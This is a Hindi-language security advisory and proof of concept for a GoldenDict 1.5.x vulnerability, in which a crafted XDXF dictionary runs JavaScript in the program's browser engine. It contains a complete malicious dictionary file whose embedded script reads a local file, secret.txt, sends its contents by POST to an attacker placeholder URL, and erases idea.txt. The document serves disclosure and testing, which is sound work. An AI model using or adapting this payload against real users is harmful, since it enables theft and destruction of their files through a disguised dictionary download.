
CVE-2025-53964 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण: GoldenDict 1.5.0/1.5.1 में दुर्भावनापूर्ण XDXF शब्दकोश के माध्यम से दूरस्थ फ़ाइल पढ़ना/लिखना, अस्वच्छित XML और JS निष्पादन का लाभ उठाते हुए।
CVSS v3: (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L) - 9.6/10
GoldenDict 1.5.0 और 1.5.1 में एक उजागर खतरनाक विधि है जो फ़ाइलों को पढ़ने और संशोधित करने की अनुमति देती है जब कोई उपयोगकर्ता एक निर्मित शब्दकोश जोड़ता है और फिर उस शब्दकोश में शामिल किसी भी शब्द की खोज करता है।
उत्पाद बाहरी अभिकर्ताओं के साथ बातचीत के लिए इंटरफ़ेस प्रदान करता है, जिसमें GoldenDict (ver. 1.5.0, 1.5.1) में एक खतरनाक विधि शामिल है जो ठीक से प्रतिबंधित नहीं है। यह दूरस्थ हमलावर को उपयोगकर्ता फ़ाइल सिस्टम पर फ़ाइलों को पढ़ने और संशोधित करने की पहुँच प्राप्त करने की अनुमति देता है जब एक तैयार दुर्भावनापूर्ण शब्दकोश जोड़ा जाता है और प्रोग्राम में उपयोग किया जाता है।
CWE-749: उजागर खतरनाक विधि या फ़ंक्शन; CWE-79: वेब पेज निर्माण के दौरान इनपुट का अनुचित तटस्थीकरण ('क्रॉस-साइट स्क्रिप्टिंग')
GoldenDict Project
GoldenDict - 1.5.0, 1.5.1
GoldenDict निष्पादन योग्य, स्रोत कोड फ़ाइल xdxf.cc, स्रोत कोड फ़ाइल xdxf2html.cc, स्रोत कोड फ़ाइल stardict.cc.
दूरस्थ
true
true
उपयोगकर्ता फ़ाइल सिस्टम पर फ़ाइलों को पढ़ने और संशोधित करने की पहुँच
भेद्यता का शोषण करने के लिए, एक उपयोगकर्ता को प्रोग्राम में एक दुर्भावनापूर्ण शब्दकोश जोड़ना होगा और उस शब्दकोश में शामिल किसी भी शब्द की खोज करनी होगी।
Grebennikov Timofey, Astra Group के सुरक्षा नियंत्रण विभाग के प्रवेश परीक्षण समूह के विशेषज्ञ।
GoldenDict विकिपीडिया और स्थानीय रूप से स्थापित शब्दकोशों में शब्दों की खोज के लिए एक ग्राफिकल प्रोग्राम है। XML मार्कअप के साथ XDXF प्रारूप सहित विभिन्न शब्दकोश प्रारूप समर्थित हैं। शब्दकोश इंटरनेट पर अन्य उपयोगकर्ताओं द्वारा वितरित किए जाते हैं।
प्रोग्राम शब्दकोशों से शब्दों को प्रस्तुत और प्रदर्शित करने के लिए एक ब्राउज़र इंजन का उपयोग करता है, जो Qt Widgets घटक पैकेज में शामिल है।
एक साथ कई सुरक्षा उल्लंघनों की खोज की गई, जो एक गंभीर भेद्यता के कार्यान्वयन की अनुमति देते हैं:
एक साथ, ये उल्लंघन इंटरनेट से डाउनलोड किए गए XDXF शब्दकोश के XML मार्कअप में दुर्भावनापूर्ण JS कोड एम्बेड करके उपयोगकर्ता फ़ाइलों तक पहुँच प्राप्त करने की संभावना पैदा करते हैं।
विंडोज़ पर भेद्यता का परीक्षण करने के लिए, आप एक स्क्रिप्ट चला सकते हैं जो फ़ाइल सिस्टम में दो तैयार फ़ाइलों को प्रभावित करती है।
<?xml version="1.0" encoding="UTF-8"?>
<xdxf lang_from="ENG" lang_to="RUS" format="logical">
<full_name>Malicious dictionary</full_name>
<description>You have been pwned!</description>
<meta_info>
<copyright>Public Domain</copyright>
</meta_info>
<lexicon>
<ar>
<k>vuln_test</k>
<def>
Some description...
<script>
var secretFile = 'file:///C:/Users/Public/Documents/secret.txt';
var ideaFile = 'file:///C:/Users/Public/Documents/idea.txt';
var xhr = new XMLHttpRequest();
xhr.open('GET', secretFile, true);
xhr.onload = function() {
var secretData = xhr.responseText;
if (secretData.length > 0) {
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '[Target-URL]', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('data=' + encodeURIComponent(secretData));
}
};
xhr.onerror = function() {
};
xhr.send();
var xhr3 = new XMLHttpRequest();
xhr3.open('PUT', ideaFile, true);
xhr3.setRequestHeader('Content-Type', 'text/plain');
xhr3.send("");
</script>
</def>
</ar>
</lexicon>
</xdxf>
प्रारंभ होने पर, यह शब्दकोश secret.txt की सामग्री को दूरस्थ सर्वर पर भेजेगा और idea.txt को साफ़ करेगा।
हमले की सफलता सत्यापित करें – प्राप्तकर्ता को secret.txt फ़ाइल की सामग्री वाला एक संदेश प्राप्त होगा, और idea.txt फ़ाइल खाली होगी।
भेद्यता Windows और Linux दोनों प्रणालियों को प्रभावित करती है। Linux सिस्टम पर भेद्यता को पुन: उत्पन्न करने के लिए, परीक्षण फ़ाइलों को संग्रहीत करने के लिए विभिन्न निर्देशिकाओं का उपयोग करना और दुर्भावनापूर्ण कोड में इसे निर्दिष्ट करना आवश्यक है।